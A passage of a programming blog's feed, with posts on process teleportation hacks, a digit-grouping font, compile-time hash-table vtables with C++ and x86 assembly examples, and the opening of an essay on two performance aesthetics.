&lt;p&gt;Of course, they often seem like extremely cursed hacks and to a large extent they are. They do things in a way nobody expects, and when they break they break at a layer of abstraction they aren’t supposed to break at, like your file descriptors mysteriously dissapearing. Sometimes though you can hit the layer of abstraction just right and handle all the cases such that everything is seamless and magic, I think good examples of this are &lt;a href=&quot;https://github.com/mozilla/rr&quot;&gt;rr&lt;/a&gt; (although telefork manages to be cursed enough to segfault it) and cloud VM live migration (basically telefork at the hypervisor layer).&lt;/p&gt;

&lt;p&gt;I also like thinking about these things as inspiration for alternative ways computer systems could work. Why are our cluster computing APIs so much more difficult to use than just running a program that broadcasts functions to the cluster? Why is networked systems programming so much harder than multithreaded programming? Sure you can give all sorts of good reasons, but they’re mostly based on how difficult it would be given how other existing systems work. Maybe with the right abstraction or with enough effort a project could seamlessly make it work, it seems fundamentally possible.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Numderline: Grouping digits using OpenType shaping</title>
   <link href="https://thume.ca/2019/11/02/numderline-grouping-digits-using-opentype-shaping/"/>
   <updated>2019-11-02T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/11/02/numderline-grouping-digits-using-opentype-shaping</id>
   <content type="html">
&lt;p&gt;I recently worked on a fun side project to make a font that used font shaping trickery to make it easier to read large numbers by underlining alternating digit groups or inserting fake commas.&lt;/p&gt;

&lt;p&gt;I wrote about it on the Jane Street tech blog since I started work there recently and I came up with the idea to help me visually parse tables of latency numbers for my job.&lt;/p&gt;

&lt;p&gt;You can read the post here: &lt;a href=&quot;https://blog.janestreet.com/commas-in-big-numbers-everywhere/&quot;&gt;https://blog.janestreet.com/commas-in-big-numbers-everywhere/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/numderline/numderline.png&quot; alt=&quot;Screenshot of the font&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can also check out &lt;a href=&quot;/numderline&quot;&gt;the font demo and download site&lt;/a&gt; and the &lt;a href=&quot;https://github.com/trishume/numderline&quot;&gt;Github repo for the font patcher&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There’s one other large public technical document I’ve written off of my own site that I might as well link here as well, which is my documentation of how the Xi text editor’s CRDT works. Although it’s written more as documentation than as a generally accessible blog post, you may still find it interesting, it has lots of diagrams. You can read it &lt;a href=&quot;https://github.com/xi-editor/xi-editor/blob/e8065a3993b80af0aadbca0e50602125d60e4e38/doc/crdt-details.md&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Shenanigans With Hash Tables</title>
   <link href="https://thume.ca/2019/07/29/shenanigans-with-hash-tables/"/>
   <updated>2019-07-29T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/07/29/shenanigans-with-hash-tables</id>
   <content type="html">
&lt;p&gt;One reason to know how your data structures work is so that when your problem has unusual constraints you can tweak how they work to fit the problem better or work faster. In this article I’ll talk about four different fun tweaks to the concept of a hash table that I made in the process of using hash tables to implement interface method lookup vtables in &lt;a href=&quot;/2019/04/18/writing-a-compiler-in-rust/&quot;&gt;my compilers class Java-subset compiler&lt;/a&gt;. The fact that I knew the contents and lookups of all the tables at compile time allowed me to heavily optimize the way the hash table worked at run time until the common case was just indexing an array at a constant offset! Even outside the context of compilers, I think this is an interesting source of inspiration for the ways you can tweak data structures for your purpose.&lt;/p&gt;

&lt;h2 id=&quot;background-on-vtables-and-interfaces&quot;&gt;Background on vtables and interfaces&lt;/h2&gt;

&lt;p&gt;For object-oriented languages, compilers usually use “&lt;a href=&quot;https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/&quot;&gt;vtables&lt;/a&gt;” to implement method dispatch. This is when every object has a pointer to an array of function pointers corresponding to the different methods on that object. Each method has a fixed slot, with methods in base classes coming before inherited ones so that an object can be treated as its base class with the same offsets.&lt;/p&gt;

&lt;p&gt;The problem is that implementing &lt;a href=&quot;http://tutorials.jenkov.com/java/interfaces.html&quot;&gt;interfaces&lt;/a&gt; is harder since the vtable prefix trick doesn’t work. Java HotSpot implements interface method calls doing a linear search over a list of “itables” for each interface an object implements, then using inline caching and fancy JIT specialization to speed that up in the common case.&lt;/p&gt;

&lt;p&gt;The simpler alternative is to make a giant table of every method signature present in the program (for Java that’s name and parameter types like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addNums(int,int)&lt;/code&gt;), each class will have an instance of this table with the slots for methods it implements filled in (including ones inherited from superclasses), and most slots empty. Then for interface dispatch you can just use a fixed offset for the interface method signature: easy and fast. The problem is the size of each table scales with the size of the program, and so does the number of tables, leading to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n^2)&lt;/code&gt; scaling, making this technique non-viable for large programs.&lt;/p&gt;

&lt;h2 id=&quot;hash-vtables&quot;&gt;Hash vtables&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hashvtables/basic-hash-table.png&quot; alt=&quot;Basic Hash Table Diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Instead of using a giant fixed table, we can use a hash table from method signature to method pointer. Since every table doesn’t need to be large enough to fit all method signatures in the entire program, this solves the scaling problem. For simplicity we’ll use &lt;a href=&quot;http://www.cs.rmit.edu.au/online/blackboard/chapter/05/documents/contribute/chapter/05/linear-probing.html&quot;&gt;linear probing&lt;/a&gt; to handle the case when our hash tries to put two methods in the same slot: we put the colliding method in the next available slot.&lt;/p&gt;

&lt;p&gt;However this is now much slower than simple tables. A simple hash table lookup with linear probing includes two operations that need to loop over the bytes in the signature as well as a probing loop:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// assume signatures are strings for simplicity&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fnAddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tableSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &amp;lt;- O(n) in signature length&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// look in the next slot if a collision bumped our target from its place&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tableSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &amp;lt;- O(n) in signature length&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fnAddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Why use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;queryHash %= tableSize&lt;/code&gt; instead of just indexing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;queryHash % tableSize&lt;/code&gt;? I did that in the initial draft of this post, but then I realized it breaks when the initial hash is close to the maximum integer and probing causes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;queryHash&lt;/code&gt; to overflow to zero. That would have been a very evil bug since it would silently give the wrong result but only exceedingly rarely.&lt;/p&gt;

&lt;h2 id=&quot;hashing-at-compile-time&quot;&gt;Hashing at compile time&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hashvtables/comptime-table.png&quot; alt=&quot;Compile Time Hash Table Diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First we’ll take advantage of the fact that we know which signatures are going to be used for each method call lookup at compile time, so we can do the hashing at compile time and then just compare the hashes when probing. This way we don’t even need to store the signatures in table for comparison, just the hashes.&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fnAddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tableSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tableSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;TableEntry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;queryHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fnAddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now our method lookup is simple enough that we can viably translate it to assembly and insert a version of it at every method call site. In the common case of no probing, branch prediction and out of order execution in modern processors should even make it so the cost over a normal vtable lookup is minimal!&lt;/p&gt;

&lt;h2 id=&quot;avoiding-collisions-with-rehashing&quot;&gt;Avoiding collisions with rehashing&lt;/h2&gt;

&lt;p&gt;The above approach has a problem, which is that we stopped handling hash collisions. A method call could resolve incorrectly if two different signatures hash to the same thing. According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_problem&quot;&gt;my most frequently referenced Wikipedia page&lt;/a&gt;, at 32 bits for our hash we’re not safe from collisions in large programs, even if we use a strong hash function.&lt;/p&gt;

&lt;p&gt;My solution to this is to keep a table at compile time of which hash value I’m using for each signature. When I’m adding a new signature to the table I append an additional integer before hashing, and if the resulting value collides with an existing hash, then I increment the integer and hash again until I get a value that doesn’t collide. This ensures that comparing signatures only by hash in the lookup is valid because hashes uniquely identify signatures.&lt;/p&gt;

&lt;h2 id=&quot;sizing-the-table-ahead-of-time&quot;&gt;Sizing the table ahead of time&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hashvtables/fixed-table.png&quot; alt=&quot;Fixed Hash Table Diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In our above examples we need to pass in the table size to our lookup. If each class can have differently sized tables, we also need to store the size somewhere accessible, like index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1&lt;/code&gt; from the vtable pointer. However loading the size means probably loading another cache line in serial, carrying a performance cost. The solution is to make all our hash vtables the same size.&lt;/p&gt;

&lt;p&gt;The other problem is that the modulo operation is relatively expensive, having &lt;a href=&quot;https://www.agner.org/optimize/instruction_tables.pdf&quot;&gt;a latency of 20+ cycles&lt;/a&gt;. For the initial lookup we can fix this by also doing the modulo at compile time, then moving the modulo to the probing case of the assembly stub. We can improve the probing case as well by making the table size always a power of 2, and then using a bitwise AND with a constant mask (which has 1 cycle of latency).&lt;/p&gt;

&lt;p&gt;In our compiler I computed a fixed power-of-2 table size ahead of time by figuring out how many method signatures the largest table needed to store, multiplying by an arbitrary factor of 4 to avoid collisions (and thus probing), then rounding up to a power of 2. I expect the size of classes follows a power law distribution so the largest class would scale with the log of the size of the program, making total table space &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n log n)&lt;/code&gt; in program size.&lt;/p&gt;

&lt;h2 id=&quot;probing-only-when-necessary&quot;&gt;Probing only when necessary&lt;/h2&gt;

&lt;p&gt;My final idea was that when I was building the tables I could track which signature hashes ever collide in a table and get placed in a slot other than their home slot, and thus may need probing. Then for all the signatures which never got placed outside their home slot, I could just not generate the probing code at those call sites! Non-probing sites also don’t need to check that the hash is equal (it always will be) and can do the modulo at compile time, making them just indexing a table.&lt;/p&gt;

&lt;p&gt;The final probing and non-probing assembly method call stubs look something like this:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; == X86 Assembly for general case with probing, call target in eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; eax = address of object -&amp;gt; eax = address of vtable&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;61&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; the initial slot index, hash % size&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.callcmp:&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; get the hash at the current slot&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1062035773&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; check if it matches the expected hash&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;je&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.docall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; jump if it did match&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; if not probe to the next bucket&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; bit mask for computing i % 128 (the table size)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.callcmp&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; check the hash again&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.docall:&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; indirect call to the function pointer&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;; == X86 Assembly for case without probing, call target in eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; eax = address of object -&amp;gt; eax = address of vtable&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;492&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; indirect call to the function at offset (hash%size)*8+4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our arbitrary max table size expansion factor of 4 lead to only 0.13% of method call sites in our test program corpus needing probing, although larger programs would be less forgiving. This meant that in almost all cases my hash vtables emitted basically the same code as classic vtables would, except that the same vtables also worked for interfaces as well! However the tables being larger than classic vtables in the non-interface case mean they’ll be less efficient with cache space and so would be somewhat slower in practice.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I’ve never heard of anyone implementing interface vtables in this way, but I wouldn’t be surprised if there is prior art because these are all just simple insights you can have by thinking about how to specialize a hash table for this problem. I think LuaJit does some similar tricks for its hash tables where its tracing JIT can specialize on the hash value and optimize an index lookup plus bailing from the trace if the key doesn’t match.&lt;/p&gt;

&lt;p&gt;According to my compilers class professor there’s a broad literature of optimizing the “giant table with all signatures” approach with heuristics for saving space by rearranging and merging the tables of different classes into the same space or re-using offsets across classes to make tables smaller. But the general problem is NP-complete so can only be solved heuristically. Interestingly I ended up with a kind of similar direction which re-uses offsets effectively randomly, but then includes a mechanism for handling the resulting collisions.&lt;/p&gt;

&lt;p&gt;I hope you found some of these hash table tricks fun and came away inspired to think about how you might be able to modify a common data structure to fit your application better!&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Two Performance Aesthetics: Never Miss a Frame and Do Almost Nothing</title>
   <link href="https://thume.ca/2019/07/27/two-performance-aesthetics/"/>
   <updated>2019-07-27T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/07/27/two-performance-aesthetics</id>
   <content type="html">
&lt;p&gt;I’ve noticed when I think about performance nowadays that I think in terms of two different aesthetics. One aesthetic, which I’ll call &lt;em&gt;Never Miss a Frame&lt;/em&gt;, comes from the world of game development and is focused on writing code that has good worst case performance by making good use of the hardware. The other aesthetic, which I’ll call &lt;em&gt;Do Almost Nothing&lt;/em&gt; comes from a more academic world and is focused on algorithmically minimizing the work that needs to be done to the extent that there’s barely any work left, paying attention to the performance at all scales. In this post I’ll describe the two aesthetics, look at some case studies of pairs of programs in different domains that follow different aesthetics, and talk about the trade-offs involved and how to choose which direction to lean for a project.&lt;/p&gt;

&lt;h2 id=&quot;never-miss-a-frame&quot;&gt;Never Miss a Frame&lt;/h2&gt;

&lt;p&gt;In game development the most important performance criteria is that your game doesn’t miss frame deadlines. You have a target frame rate and if you miss the deadline for the screen to draw a new frame your users will notice the jank. This leads to focusing on the worst case scenario and often having fixed maximum limits for various quantities. This property can also be important in areas other than game development, like other graphical applications, &lt;a href=&quot;http://www.rossbencina.com/code/real-time-audio-programming-101-time-waits-for-nothing&quot;&gt;real-time audio&lt;/a&gt;, safety-critical systems and many embedded systems. A similar dynamic occurs in distributed systems where one server needs to query 100 others and combine the results, you’ll wait for the slowest of the 100 every time so speeding up some of them doesn’t make the query faster, and queries occasionally taking longer (e.g because of garbage collection) will impact almost every request!&lt;/p&gt;

&lt;p&gt;A consequence of deadlines is that it’s not worth saving time unless you can save it in all cases. Things like caching often don’t help because if the item isn’t in the cache then you’ll miss your deadline. The easiest way to achieve this is to just do all the work every single frame and don’t keep anything between frames except for persistent state.&lt;/p&gt;

&lt;p&gt;In this kind of domain you’ll often run into situations where in the worst case you can’t avoid processing a huge number of things. This means you need to focus your effort on making the best use of the hardware by writing code at a low level and paying attention to properties like cache size and memory bandwidth.&lt;/p&gt;

&lt;p&gt;Projects with inviolable deadlines need to adjust different factors than speed if the code runs too slow. For example a game might decrease the size of a level or use a more efficient but less pretty rendering technique.&lt;/p&gt;

&lt;p&gt;Aesthetically: Data should be tightly packed, fixed size, and linear. Transcoding data to and from different formats is wasteful. Strings and their variable lengths and inefficient operations must be avoided. Only use tools that allow you to work at a low level, even if they’re annoying, because that’s the only way you can avoid piles of fixed costs making everything slow. Understand the machine and what your code does to it.&lt;/p&gt;

&lt;p&gt;Personally I identify this aesthetic most with &lt;a href=&quot;https://www.youtube.com/user/jblow888&quot;&gt;Jonathan Blow&lt;/a&gt;. He has a very strong personality and I’ve watched enough of videos of him that I find imagining “What would Jonathan Blow say?” as a good way to tap into this aesthetic. My favourite articles about designs following this aesthetic are on the &lt;a href=&quot;https://ourmachinery.com/post/&quot;&gt;Our Machinery Blog&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;do-almost-nothing&quot;&gt;Do Almost Nothing&lt;/h2&gt;

&lt;p&gt;Sometimes, it’s important to be as fast as you can in all cases and not just orient around one deadline. The most common case is when you simply have to do something that’s going to take an amount of time noticeable to a human, and if you can make that time shorter in some situations that’s great. Alternatively each operation could be fast but you may run a server that runs tons of them and you’ll save on server costs if you can decrease the load of some requests. Another important case is when you care about power use, for example your text editor not rapidly draining a laptop’s battery, in this case you want to do the least work you possibly can.&lt;/p&gt;

&lt;p&gt;A key technique for this approach is to never recompute something from scratch when it’s possible to re-use or patch an old result. This often involves caching: keeping a store of recent results in case the same computation is requested again.&lt;/p&gt;

&lt;p&gt;The ultimate realization of this aesthetic is for the entire system to deal only in differences between the new state and the previous state, updating data structures with only the newly needed data and discarding data that’s no longer needed. This way each part of the system does almost no work because ideally the difference from the previous state is very small.&lt;/p&gt;

